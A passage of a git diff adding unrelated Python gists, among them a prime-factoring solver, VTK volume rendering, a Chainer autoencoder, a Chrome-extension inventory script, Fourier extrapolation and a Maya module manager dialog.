+		b>>=1
+	return x
+
+primes=[0]*100000
+
+def sieve():
+	primes[1]=1
+	primes[2]=2
+	j=4
+	while(j<100000):
+		primes[j]=2
+		j+=2
+	j=3
+	while(j<100000):
+		if primes[j]==0:
+			primes[j]=j
+			i=j*j
+			k=j<<1
+			while(i<100000):
+				primes[i]=j
+				i+=k
+		j+=2
+
+def rabin_miller(p):
+	if(p<100000):
+		return primes[p]==p
+	if(p%2==0):
+		return False
+	s=p-1
+	while(s%2==0):
+		s>>=1
+	for i in range(5):
+		a=random.randrange(p-1)+1
+		temp=s
+		mod=pow(a,temp,p)
+		while(temp!=p-1 and mod!=1 and mod!=p-1):
+			mod=(mod*mod)%p
+			temp=temp*2
+		if(mod!=p-1 and temp%2==0):
+			return False
+	return True
+ 
+def brent(N):
+	if(N%2==0):
+		return 2
+	if(N<100000):
+		return primes[N]
+	y,c,m = random.randint(1, N-1),random.randint(1, N-1),random.randint(1, N-1)
+	g,r,q = 1,1,1
+	while g==1:             
+		x=y
+		for i in range(r):
+			y=((y*y)%N+c)%N
+		k=0
+		while(k<r and g==1):
+			ys=y
+			for i in range(min(m,r-k)):
+				y=((y*y)%N+c)%N
+				q=q*(abs(x-y))%N
+			g=gcd(q,N)
+			k=k+m
+		r=r*2
+	if g==N:
+		while True:
+			ys=((ys*ys)%N+c)%N
+			g=gcd(abs(x-ys),N)
+			if g>1:
+				break 
+	return g 
+ 
+def factor(n):
+	Q_1=Queue()
+	Q_2=[]
+	Q_1.put(n)
+	while(not Q_1.empty()):
+		l=Q_1.get()
+		if(rabin_miller(l)):
+			Q_2.append(l)
+			continue
+		d=brent(l)
+		if(d==l):
+			Q_1.put(l)
+		else:
+			Q_1.put(d)
+			Q_1.put(l//d)
+	return Q_2
+	
+if __name__ == "__main__":
+	sieve()
+	t=int(input())
+	for test in range(t):
+		n=int(input())
+		if(n==1):
+			print ("Case %s: 1"%(test+1))
+			continue 
+		L=factor(n)
+		L.sort()
+		i=0
+		ans=1
+		while(i<len(L)):
+			cnt=L.count(L[i])
+			pk=[0]*(cnt+1)
+			pk[0]=1
+			for j in range(cnt):
+				pk[j+1]=pk[j]*L[i]
+			temp=0
+			cnt+=1
+			val=cnt*2-1
+			for j in range(cnt):
+				temp+=val*pk[j]
+				val-=2
+			ans*=temp
+			i+=cnt-1
+		print ("Case %s: %s"%(test+1,ans))
\ No newline at end of file
diff --git a/hard-gists/83a39d9328788372677a/._snippet.py b/hard-gists/83a39d9328788372677a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/83a39d9328788372677a/._snippet.py differ
diff --git a/hard-gists/83a39d9328788372677a/snippet.py b/hard-gists/83a39d9328788372677a/snippet.py
new file mode 100644
index 00000000..a85382a0
--- /dev/null
+++ b/hard-gists/83a39d9328788372677a/snippet.py
@@ -0,0 +1,144 @@
+#!/usr/bin/python
+
+import SimpleITK as sitk
+import vtk
+import numpy as np
+import sys
+
+from vtk.util.vtkConstants import *
+
+filename = sys.argv[1]
+
+#####
+
+def numpy2VTK(img,spacing=[1.0,1.0,1.0]):
+    # evolved from code from Stou S.,
+    # on http://www.siafoo.net/snippet/314
+    importer = vtk.vtkImageImport()
+    
+    img_data = img.astype('uint8')
+    img_string = img_data.tostring() # type short
+    dim = img.shape
+    
+    importer.CopyImportVoidPointer(img_string, len(img_string))
+    importer.SetDataScalarType(VTK_UNSIGNED_CHAR)
+    importer.SetNumberOfScalarComponents(1)
+    
+    extent = importer.GetDataExtent()
+    importer.SetDataExtent(extent[0], extent[0] + dim[2] - 1,
+                           extent[2], extent[2] + dim[1] - 1,
+                           extent[4], extent[4] + dim[0] - 1)
+    importer.SetWholeExtent(extent[0], extent[0] + dim[2] - 1,
+                            extent[2], extent[2] + dim[1] - 1,
+                            extent[4], extent[4] + dim[0] - 1)
+
+    importer.SetDataSpacing( spacing[0], spacing[1], spacing[2])
+    importer.SetDataOrigin( 0,0,0 )
+
+    return importer
+
+def volumeRender(img, tf=[],spacing=[1.0,1.0,1.0]):
+    importer = numpy2VTK(img,spacing)
+
+    # Transfer Functions
+    opacity_tf = vtk.vtkPiecewiseFunction()
+    color_tf = vtk.vtkColorTransferFunction()
+
+    if len(tf) == 0:
+        tf.append([img.min(),0,0,0,0])
+        tf.append([img.max(),1,1,1,1])
+
+    for p in tf:
+        color_tf.AddRGBPoint(p[0], p[1], p[2], p[3])
+        opacity_tf.AddPoint(p[0], p[4])
+
+    # working on the GPU
+    # volMapper = vtk.vtkGPUVolumeRayCastMapper()
+    # volMapper.SetInputConnection(importer.GetOutputPort())
+
+    # # The property describes how the data will look
+    # volProperty =  vtk.vtkVolumeProperty()
+    # volProperty.SetColor(color_tf)
+    # volProperty.SetScalarOpacity(opacity_tf)
+    # volProperty.ShadeOn()
+    # volProperty.SetInterpolationTypeToLinear()
+
+    # working on the CPU
+    volMapper = vtk.vtkVolumeRayCastMapper()
+    compositeFunction = vtk.vtkVolumeRayCastCompositeFunction()
+    compositeFunction.SetCompositeMethodToInterpolateFirst()
+    volMapper.SetVolumeRayCastFunction(compositeFunction)
+    volMapper.SetInputConnection(importer.GetOutputPort())
+
+    # The property describes how the data will look
+    volProperty =  vtk.vtkVolumeProperty()
+    volProperty.SetColor(color_tf)
+    volProperty.SetScalarOpacity(opacity_tf)
+    volProperty.ShadeOn()
+    volProperty.SetInterpolationTypeToLinear()
+    
+    # Do the lines below speed things up?
+    # pix_diag = 5.0
+    # volMapper.SetSampleDistance(pix_diag / 5.0)    
+    # volProperty.SetScalarOpacityUnitDistance(pix_diag) 
+    
+
+    vol = vtk.vtkVolume()
+    vol.SetMapper(volMapper)
+    vol.SetProperty(volProperty)
+    
+    return [vol]
+
+
+def vtk_basic( actors ):
+    """
+    Create a window, renderer, interactor, add the actors and start the thing
+    
+    Parameters
+    ----------
+    actors :  list of vtkActors
+    
+    Returns
+    -------
+    nothing
+    """     
+    
+    # create a rendering window and renderer
+    ren = vtk.vtkRenderer()
+    renWin = vtk.vtkRenderWindow()
+    renWin.AddRenderer(ren)
+    renWin.SetSize(600,600)
+    # ren.SetBackground( 1, 1, 1)
+ 
+    # create a renderwindowinteractor
+    iren = vtk.vtkRenderWindowInteractor()
+    iren.SetRenderWindow(renWin)
+
+    for a in actors:
+        # assign actor to the renderer
+        ren.AddActor(a )
+    
+    # render
+    renWin.Render()
+   
+    # enable user interface interactor
+    iren.Initialize()
+    iren.Start()
+
+        
+
+#####
+
+img = sitk.ReadImage( filename ) # SimpleITK object
+data = sitk.GetArrayFromImage( img ).astype('float') # numpy array
+data *= 255 / data.max()
+
+from scipy.stats.mstats import mquantiles
+q = mquantiles(data.flatten(),[0.7,0.98])
+q[0]=max(q[0],1)
+q[1] = max(q[1],1)
+tf=[[0,0,0,0,0],[q[0],0,0,0,0],[q[1],1,1,1,0.5],[data.max(),1,1,1,1]]
+
+actor_list = volumeRender(data, tf=tf, spacing=img.GetSpacing())
+
+vtk_basic(actor_list)
diff --git a/hard-gists/83b56c3e76c28f88e9ea/._snippet.py b/hard-gists/83b56c3e76c28f88e9ea/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/83b56c3e76c28f88e9ea/._snippet.py differ
diff --git a/hard-gists/83b56c3e76c28f88e9ea/snippet.py b/hard-gists/83b56c3e76c28f88e9ea/snippet.py
new file mode 100644
index 00000000..515b644f
--- /dev/null
+++ b/hard-gists/83b56c3e76c28f88e9ea/snippet.py
@@ -0,0 +1,67 @@
+import chainer
+import chainer.functions as F
+import chainer.optimizers as Opt
+import numpy
+from sklearn.datasets import fetch_mldata
+from libdnn import StackedAutoEncoder
+
+
+model = chainer.FunctionSet(
+    enc1=F.Linear(28 ** 2, 200),
+    enc2=F.Linear(200, 30),
+    dec2=F.Linear(30, 200),
+    dec1=F.Linear(200, 28 ** 2)
+)
+
+
+def encode(self, x, layer, train):
+    if train:
+        x = F.dropout(x, ratio=0.2, train=train)
+
+    if layer == 0:
+        return x
+
+    x = F.sigmoid(self.model.enc1(x))
+    if layer == 1:
+        return x
+
+    x = F.sigmoid(self.model.enc2(x))
+    if layer == 2:
+        return x
+
+    return x
+
+
+def decode(self, x, layer=None, train=False):
+    if not train or layer == 2:
+        x = F.sigmoid(self.model.dec2(x))
+
+    if not train or layer == 1:
+        x = F.sigmoid(self.model.dec1(x))
+
+    return x
+
+sda = StackedAutoEncoder(model, gpu=0)
+sda.set_order(('enc1', 'enc2'), ('dec2', 'dec1'))
+sda.set_optimizer(Opt.AdaDelta)
+sda.set_encode(encode)
+sda.set_decode(decode)
+
+mnist = fetch_mldata('MNIST original', data_home='.')
+perm = numpy.random.permutation(len(mnist.data))
+mnist.data = mnist.data.astype(numpy.float32) / 255
+train_data = mnist.data[perm][:60000]
+test_data = mnist.data[perm][60000:]
+
+for epoch in range(10):
+    print('epoch : %d' % (epoch + 1))
+    err = sda.train(train_data, batchsize=200)
+    print(err)
+    perm = numpy.random.permutation(len(test_data))
+    terr = sda.test(test_data[perm][:100])
+    print(terr)
+
+    with open('sda.log', mode='a') as f:
+        f.write("%d %f %f %f\n" % (epoch + 1, err[0], err[1], terr))
+
+    sda.save_param('sda.param.npy')
\ No newline at end of file
diff --git a/hard-gists/83e4136803ca67b4955a/._snippet.py b/hard-gists/83e4136803ca67b4955a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/83e4136803ca67b4955a/._snippet.py differ
diff --git a/hard-gists/83e4136803ca67b4955a/snippet.py b/hard-gists/83e4136803ca67b4955a/snippet.py
new file mode 100644
index 00000000..96293ef9
--- /dev/null
+++ b/hard-gists/83e4136803ca67b4955a/snippet.py
@@ -0,0 +1,56 @@
+#!/usr/bin/python
+
+##  Script:     get_chrome_extensions.py
+##  Author:     Christopher Collins (christophercollins@livenation.com)
+# also, owen wuz here. minor corrections (utf-8)
+###########################################
+##Description: This script searches the last logged in user's installed extensions and submits it to Casper during an inventory report.
+###########################################
+
+import os
+import json
+from Foundation import CFPreferencesCopyAppValue
+from SystemConfiguration import SCDynamicStoreCopyConsoleUser
+import sys
+
+#Get name of last logged in user so the extension attribute will report information for the user even if they aren't logged in"
+
+username = (SCDynamicStoreCopyConsoleUser(None, None, None) or [None])[0]
+lastloggedinuser = [username, ""][username in [u"loginwindow", None, u""]]
+userchromepath = '/Users/' + lastloggedinuser + '/Library/Application Support/Google/Chrome/'
+
+#Initialize a dictionary to hold the variable names extension developers used if developers localized their extension
+internationalized_extensions = {}
+
+#Initialize a directory to hold the names of the installed extensions
+installed_extensions = []
+
+#walk the chrome application support folder
+for (dirpath, dirnames, filenames) in os.walk(userchromepath):
+
+    #Test to see if file is a manifest.json file and then check its name if it is a placeholder name for a localization file (has __MSG)
+    #If it is a normal name, then add it to the final list. If its not, add it to the internationalized_extensions dictionary to match against a localized messages.json file
+    for file in filenames:
+        if ("Extensions" in dirpath and "manifest.json" in file):
+            manifest = json.load(open(os.path.join(dirpath, file)))
+            extension_name = manifest.get('name')
+            name = extension_name
+            if '__MSG_'not in extension_name:
+                installed_extensions.append(extension_name)
+            else:
+                extension_name = extension_name[6:-2]
+                if extension_name not in internationalized_extensions:
+                    internationalized_extensions[extension_name] = extension_name
+        else:
+            if (("Extensions" and "locales/en" in dirpath) and "messages.json" in file):
+                manifest = json.load(open(os.path.join(dirpath, file)))
+                if manifest:
+                    for key in internationalized_extensions.keys():
+                        if manifest.get(key):
+                            extension_name = manifest.get(key).get('message')
+                            installed_extensions.append(extension_name)
+                        else:
+                            if manifest.get(key.lower()):
+                                extension_name = manifest.get(key.lower()).get('message')
+                                installed_extensions.append(extension_name)
+print "<result>{}</result>".format(', '.join(sorted(list(set(installed_extensions)))).encode('utf-8'))
diff --git a/hard-gists/83f3cd8f44208a1856ce/._snippet.py b/hard-gists/83f3cd8f44208a1856ce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/83f3cd8f44208a1856ce/._snippet.py differ
diff --git a/hard-gists/83f3cd8f44208a1856ce/snippet.py b/hard-gists/83f3cd8f44208a1856ce/snippet.py
new file mode 100644
index 00000000..93a722c1
--- /dev/null
+++ b/hard-gists/83f3cd8f44208a1856ce/snippet.py
@@ -0,0 +1,35 @@
+import numpy as np
+import pylab as pl
+from numpy import fft
+    
+def fourierExtrapolation(x, n_predict):
+    n = x.size
+    n_harm = 10                     # number of harmonics in model
+    t = np.arange(0, n)
+    p = np.polyfit(t, x, 1)         # find linear trend in x
+    x_notrend = x - p[0] * t        # detrended x
+    x_freqdom = fft.fft(x_notrend)  # detrended x in frequency domain
+    f = fft.fftfreq(n)              # frequencies
+    indexes = range(n)
+    # sort indexes by frequency, lower -> higher
+    indexes.sort(key = lambda i: np.absolute(f[i]))
+ 
+    t = np.arange(0, n + n_predict)
+    restored_sig = np.zeros(t.size)
+    for i in indexes[:1 + n_harm * 2]:
+        ampli = np.absolute(x_freqdom[i]) / n   # amplitude
+        phase = np.angle(x_freqdom[i])          # phase
+        restored_sig += ampli * np.cos(2 * np.pi * f[i] * t + phase)
+    return restored_sig + p[0] * t
+    
+def main():
+    x = np.array([669, 592, 664, 1005, 699, 401, 646, 472, 598, 681, 1126, 1260, 562, 491, 714, 530, 521, 687, 776, 802, 499, 536, 871, 801, 965, 768, 381, 497, 458, 699, 549, 427, 358, 219, 635, 756, 775, 969, 598, 630, 649, 722, 835, 812, 724, 966, 778, 584, 697, 737, 777, 1059, 1218, 848, 713, 884, 879, 1056, 1273, 1848, 780, 1206, 1404, 1444, 1412, 1493, 1576, 1178, 836, 1087, 1101, 1082, 775, 698, 620, 651, 731, 906, 958, 1039, 1105, 620, 576, 707, 888, 1052, 1072, 1357, 768, 986, 816, 889, 973, 983, 1351, 1266, 1053, 1879, 2085, 2419, 1880, 2045, 2212, 1491, 1378, 1524, 1231, 1577, 2459, 1848, 1506, 1589, 1386, 1111, 1180, 1075, 1595, 1309, 2092, 1846, 2321, 2036, 3587, 1637, 1416, 1432, 1110, 1135, 1233, 1439, 894, 628, 967, 1176, 1069, 1193, 1771, 1199, 888, 1155, 1254, 1403, 1502, 1692, 1187, 1110, 1382, 1808, 2039, 1810, 1819, 1408, 803, 1568, 1227, 1270, 1268, 1535, 873, 1006, 1328, 1733, 1352, 1906, 2029, 1734, 1314, 1810, 1540, 1958, 1420, 1530, 1126, 721, 771, 874, 997, 1186, 1415, 973, 1146, 1147, 1079, 3854, 3407, 2257, 1200, 734, 1051, 1030, 1370, 2422, 1531, 1062, 530, 1030, 1061, 1249, 2080, 2251, 1190, 756, 1161, 1053, 1063, 932, 1604, 1130, 744, 930, 948, 1107, 1161, 1194, 1366, 1155, 785, 602, 903, 1142, 1410, 1256, 742, 985, 1037, 1067, 1196, 1412, 1127, 779, 911, 989, 946, 888, 1349, 1124, 761, 994, 1068, 971, 1157, 1558, 1223, 782, 2790, 1835, 1444, 1098, 1399, 1255, 950, 1110, 1345, 1224, 1092, 1446, 1210, 1122, 1259, 1181, 1035, 1325, 1481, 1278, 769, 911, 876, 877, 950, 1383, 980, 705, 888, 877, 638, 1065, 1142, 1090, 1316, 1270, 1048, 1256, 1009, 1175, 1176, 870, 856, 860])
+    n_predict = 100
+    extrapolation = fourierExtrapolation(x, n_predict)
+    pl.plot(np.arange(0, extrapolation.size), extrapolation, 'r', label = 'extrapolation')
+    pl.plot(np.arange(0, x.size), x, 'b', label = 'x', linewidth = 3)
+    pl.legend()
+    pl.show()
+    
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/83ff717d87c2559cc6e3/._snippet.py b/hard-gists/83ff717d87c2559cc6e3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/83ff717d87c2559cc6e3/._snippet.py differ
diff --git a/hard-gists/83ff717d87c2559cc6e3/snippet.py b/hard-gists/83ff717d87c2559cc6e3/snippet.py
new file mode 100644
index 00000000..f7d991b9
--- /dev/null
+++ b/hard-gists/83ff717d87c2559cc6e3/snippet.py
@@ -0,0 +1,28 @@
+#!/usr/bin/env python2.7
+
+import sys, binascii, subprocess
+import dpkt, pcap, socket
+
+cottonelle = 'f0272d8b52c0'
+
+def main():
+    name = pcap.lookupdev()
+    try:
+        pc = pcap.pcap(name)
+    except:
+        print pc.geterr()
+
+    try:
+        print 'listening on %s' % (pc.name)
+        for ts, pkt in pc:
+            eth = dpkt.ethernet.Ethernet(pkt)
+            ip_hdr = eth.data
+            if eth.type != dpkt.ethernet.ETH_TYPE_ARP:
+                continue
+            if binascii.hexlify(eth.src) == cottonelle:
+                subprocess.call("/usr/local/bin/stopsim", shell=True)
+    except Exception as e:
+        print e, pc.geterr()
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/8403108/._snippet.py b/hard-gists/8403108/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8403108/._snippet.py differ
diff --git a/hard-gists/8403108/snippet.py b/hard-gists/8403108/snippet.py
new file mode 100644
index 00000000..b8355aa5
--- /dev/null
+++ b/hard-gists/8403108/snippet.py
@@ -0,0 +1,7 @@
+from celery_app import Celery
+
+celery = Celery("tasks", backend="amqp", broker="amqp://guest@localhost")
+
+@celery.task(name='test_task')
+def test_task():
+	return "boom!"
\ No newline at end of file
diff --git a/hard-gists/8406352/._snippet.py b/hard-gists/8406352/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8406352/._snippet.py differ
diff --git a/hard-gists/8406352/snippet.py b/hard-gists/8406352/snippet.py
new file mode 100644
index 00000000..c40f55a3
--- /dev/null
+++ b/hard-gists/8406352/snippet.py
@@ -0,0 +1,46 @@
+#!/usr/bin/python
+
+# based on monitor-bluetooth
+# Changes by Domen Puncer <domen@cba.si>
+
+import gobject
+import dbus
+import dbus.mainloop.glib
+import os
+
+
+
+def property_changed(name, value, path, interface):
+    iface = interface[interface.rfind(".") + 1:]
+    val = str(value)
+    print "{%s.PropertyChanged} [%s] %s = %s" % (iface, path, name, val)
+    
+    # we want this event: {Control.PropertyChanged} [/org/bluez/16797/hci0/dev_00_24_7E_51_F7_52] Connected = true
+    # and when that happens: pactl load-module module-loopback source=bluez_source.00_24_7E_51_F7_52
+    if iface == "Control" and name == "Connected" and val == "1":
+        bt_addr = "_".join(path.split('/')[-1].split('_')[1:])
+        cmd = "pactl load-module module-loopback source=bluez_source.%s" % bt_addr
+        os.system(cmd)
+        
+    # here we want this event: {Control.PropertyChanged} [/org/bluez/16797/hci0/dev_00_24_7E_51_F7_52] Connected = false
+    # and when that happens, we unload all loopback modules whose source is our bluetooth device
+    elif iface == "Control" and name == "Connected" and val == "0":
+        bt_addr = "_".join(path.split('/')[-1].split('_')[1:])
+        cmd = "for i in $(pactl list short modules | grep module-loopback | grep source=bluez_source.%s | cut -f 1); do pactl unload-module $i; done" % bt_addr
+        os.system(cmd)
+
+
+def object_signal(value, path, interface, member):
+    iface = interface[interface.rfind(".") + 1:]
+    val = str(value)
+    print "{%s.%s} [%s] Path = %s" % (iface, member, path, val)
+
+if __name__ == '__main__':
+    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+
+    bus = dbus.SystemBus()
+
+    bus.add_signal_receiver(property_changed, bus_name="org.bluez", signal_name = "PropertyChanged", path_keyword="path", interface_keyword="interface")
+
+    mainloop = gobject.MainLoop()
+    mainloop.run()
\ No newline at end of file
diff --git a/hard-gists/841006/._snippet.py b/hard-gists/841006/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/841006/._snippet.py differ
diff --git a/hard-gists/841006/snippet.py b/hard-gists/841006/snippet.py
new file mode 100644
index 00000000..c339a226
--- /dev/null
+++ b/hard-gists/841006/snippet.py
@@ -0,0 +1,39 @@
+
+import soaplib
+from soaplib.core.service import rpc, soap,  DefinitionBase
+from soaplib.core.model.primitive import String, Integer
+from soaplib.core.server import wsgi
+from soaplib.core.model.clazz import Array
+from flask import Flask
+
+
+flask_app = Flask(__name__)
+
+@flask_app.route("/")
+def hello():
+    return "Hello World!"
+
+
+class HelloWorldService(DefinitionBase):
+    @rpc(String,Integer,_returns=Array(String))
+    def say_hello(self,name,times):
+        results = []
+        for i in range(0,times):
+            results.append('Hello, %s'%name)
+        return results
+
+
+if __name__=='__main__':
+    try:
+        from werkzeug.wsgi import DispatcherMiddleware
+
+        soap_application = soaplib.core.Application([HelloWorldService], 'tns')
+        wsgi_application = wsgi.Application(soap_application)
+
+        flask_app.wsgi_app = DispatcherMiddleware(flask_app.wsgi_app, {
+            '/soap':        wsgi_application,
+            })
+
+        flask_app.run()
+    except ImportError:
+        print "Error: example server code requires Python >= 2.5"
diff --git a/hard-gists/8412843/._snippet.py b/hard-gists/8412843/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8412843/._snippet.py differ
diff --git a/hard-gists/8412843/snippet.py b/hard-gists/8412843/snippet.py
new file mode 100644
index 00000000..06ae9cc5
--- /dev/null
+++ b/hard-gists/8412843/snippet.py
@@ -0,0 +1,23 @@
+from datetime import datetime
+from dateutil.parser import parse
+import pytz
+
+
+def toUTC(suspectedDate,localTimeZone="US/Pacific"):
+    '''make a UTC date out of almost anything'''
+    utc=pytz.UTC
+    objDate=None
+    if type(suspectedDate)==str:
+        objDate=parse(suspectedDate,fuzzy=True)
+    elif type(suspectedDate)==datetime:
+        objDate=suspectedDate
+    
+    if objDate.tzinfo is None:
+        objDate=pytz.timezone(localTimeZone).localize(objDate)
+        objDate=utc.normalize(objDate)
+    else:
+        objDate=utc.normalize(objDate)
+    if objDate is not None:
+        objDate=utc.normalize(objDate)
+        
+    return objDate
\ No newline at end of file
diff --git a/hard-gists/8414494/._snippet.py b/hard-gists/8414494/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8414494/._snippet.py differ
diff --git a/hard-gists/8414494/snippet.py b/hard-gists/8414494/snippet.py
new file mode 100644
index 00000000..bf9d3585
--- /dev/null
+++ b/hard-gists/8414494/snippet.py
@@ -0,0 +1,234 @@
+'''
+ModuleManager.py
+
+Defines ModuleManager class for enabling/disable Maya modules, and ModuleManagerDialog - a GUI for same.
+
+Copyright  (c) 2014 Steve Theodore. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+'''
+
+import itertools
+import maya.cmds as cmds
+import os
+import maya.mel
+from collections import namedtuple
+
+# Mod manager classes
+#==============================================================================================
+
+modTuple = namedtuple('modTuple', ('enabled','name','version','path', 'file'))
+''' describes a mod on disk ''' 
+ 
+class ModuleManager (object):
+    '''
+    Manages the list of .mod files on the local maya's MAYA_MODULE_PATH
+    '''
+    def __init__(self):
+        self.Modules = {}
+        self.Module_Files = []
+        self.refresh()
+    
+    def refresh(self):
+        '''
+        Update the internal module list to reflect the state of files on disk
+        '''
+        self.Module_Files = []
+        self.Modules = {}
+        module_paths = maya.mel.eval('getenv MAYA_MODULE_PATH').split(";")
+        for p in module_paths:
+            try:
+                self.Module_Files += [os.path.join(p, x).replace('\\', '/') for x in os.listdir(p) if x.lower()[-3:] == "mod"]
+            except OSError: 
+                pass # ignore bad paths
+        for eachfile in self.Module_Files:
+            for eachmod in self.parse_mod(eachfile):
+                self.Modules["%s (%s)" % (eachmod.name, eachmod.version)] = eachmod 
+                
+    def parse_mod(self, modfile):
+        '''
+        Yields a modtuple describing the supplied .mod file
+        '''
+        with open (modfile, 'rt') as filehandle:
+            for line in filehandle:
+                if line.startswith("+") or line.startswith("-"):
+                    enable, name, version, path = self.parse_mod_entry(line)
+                    yield modTuple(enable == "+", name, version, path, modfile)
+                    
+    def parse_mod_entry(self, line):
+        '''
+        parses a line from a mod file describing a given mod
+        '''
+        
+        enable, ignore, line = line.partition(" ")
+        name, ignore, line = line.partition(" ")
+        if 'PLATFORM:' in name.upper():
+            name, ignore, line  = line.partition(" ")
+        version, ignore, path = line.strip().partition(" ")
+        return enable, name, version, path
+    
+    
+    def enable(self, modtuple):
+        self._rewrite_mod(modtuple, '+')
+ 
+    def disable(self, modtuple):
+        self._rewrite_mod(modtuple, '-')
+        
+    def _rewrite_mod(self, modtuple, character):
+        all_lines = []            
+        with open(modtuple.file, 'rt') as filehandle:
+            for line in filehandle:
+                enable, name, version, path = self.parse_mod_entry(line)
+                if name == modtuple.name and version == modtuple.version:
+                    line = character + line[1:]
+                all_lines.append(line)                
+        with open(modtuple.file, 'wt') as filehandle:
+            filehandle.write('\n'.join(all_lines))
+            
+
+# UI helpers
+#==========================
+
+# formlayout shorcuts
+T = 'top'
+L = 'left'
+R = 'right'
+B = 'bottom'
+
+
+def formfill( form, ctrl, margin, sides ):
+    ct = itertools.repeat(str(ctrl))
+    mr = itertools.repeat(margin)
+    af= [i for i in itertools.izip(ct, sides, mr)]
+    print af
+    cmds.formLayout( form, e=True, af= af)
+
+
+def snap( form, ctrl1, ctrl2, edge, margin ):
+    cmds.formLayout( form, e=True, ac=( ctrl1, edge, margin, ctrl2 ) )
+
+def formchain(form, side, margin, *ctrls):
+    first, second = itertools.tee(*ctrls)
+    second.next()
+    ac = []
+    for f, s in itertools.izip(first, second):
+        ac.append ( (f, side, margin, s) )
+    cmds.formLayout( form, e=True, ac= ac)
+
+#====================================
+
+class uiCtx(object):
+    '''
+    quickie layouthelper: automatically setParents after a layout is finished
+    '''
+    def __init__(self, uiClass, *args, **kwargs):
+        self.Control = uiClass(*args, **kwargs)
+    
+    def __enter__(self):
+        return self
+        
+    def __exit__(self, tb, val, traceback):
+        cmds.setParent("..")
+        
+    def __repr__(self):
+        return self.Control
+
+#======================================
+
+class ModuleWidget(object):
+    '''
+    Item template for an individual module
+    '''
+    COLUMNS = (40, 340, 40, 40)
+    
+    def __init__(self, key, modtuple):
+        self.Module  = modtuple
+        self.ModuleKey = key
+        self.Widget = self._layout()
+        self.State = self.Module.enabled
+        self._OrigState = self.Module.enabled
+        self._Toggle = None;
+            
+    @property
+    def Modified(self):
+        return self._OrigState != self.State
+            
+    def _layout(self):
+        with uiCtx(cmds.rowLayout, nc=4, cw4 = self.COLUMNS, co4 = (8,0,0,0), ct4 = ('both', 'left', 'both', 'both'), rat = [1,'top', 6]) as widget:
+            self.Toggle = cmds.checkBox('', v = self.Module.enabled, cc = self._state_changed)
+            with uiCtx(cmds.columnLayout, w=self.COLUMNS[1], cal='left') as details:
+                cmds.text(l = self.ModuleKey, fn = "boldLabelFont")
+                cmds.text(l = self.Module.path, fn = "smallObliqueLabelFont")
+            cmds.button("edit",  c=self._edit)
+            cmds.button("show", c=self._show)
+        return widget
+                        
+    def _state_changed(self, *ignore):
+        self.State = cmds.checkBox(self.Toggle, q=True, v=True)
+        
+    def _edit(self, *ignore):
+        os.startfile(self.Module.file)
+        
+    def _show(self, *_):
+        dirname = os.path.dirname(self.Module.file)
+        os.startfile(dirname)
+        
+    
+    
+class ModuleManagerDialog(object):
+    '''
+    Module manager dialog, implemented via LayoutDialog
+    '''
+    def __init__(self):
+        self.ModMgr = ModuleManager()
+        self.Widgets = {}
+        
+    def _layout(self):
+        topform = cmds.setParent(q=True)
+        
+        cmds.formLayout(topform, e=True, w=500, h=2)
+        with uiCtx(cmds.formLayout) as root:
+            with uiCtx(cmds.formLayout,  w=480) as body:
+                with uiCtx(cmds.scrollLayout) as scroll:
+                    with uiCtx(cmds.formLayout, w=470) as list:
+                        widgets = []
+                        for key, val in self.ModMgr.Modules.items():
+                            widgets.append(ModuleWidget(key, val))
+                            self.Widgets[key] = widgets[-1]
+                            formfill(list, widgets[-1].Widget, 4, [L,R])
+                        widget_objects = [w.Widget for w in widgets]
+                        formchain(list, 'top', 8, widget_objects)
+            with uiCtx(cmds.rowLayout, nc=2, cw2 = (255,255), ct2 = ['both'] *2  ) as buttons :
+                cmds.button('Cancel', c = self._cancel)
+                cmds.button('Save', c= self._save)
+            
+        formfill(topform, root, 0, [T,B,L,R])
+        formfill(root, body, 4, [T,L,R])
+        formfill(root, buttons, 4, [B,L,R])
+        formfill(body, scroll, 0, [T,B,L,R])
+        snap(root, body, buttons, B, 4)
+        self.Window = topform
+            
+    def _cancel(self, *args):
+        cmds.layoutDialog(dismiss = "dismiss")
+ 
+    def _save(self, *arg):
+        for k, v in self.Widgets.items():
+            if v.Modified:
+                if v.State: self.ModMgr.enable(v.Module)
+                if not v.State: self.ModMgr.disable(v.Module)            
+        cmds.layoutDialog(dismiss = "OK")
+ 
+    def show(self):
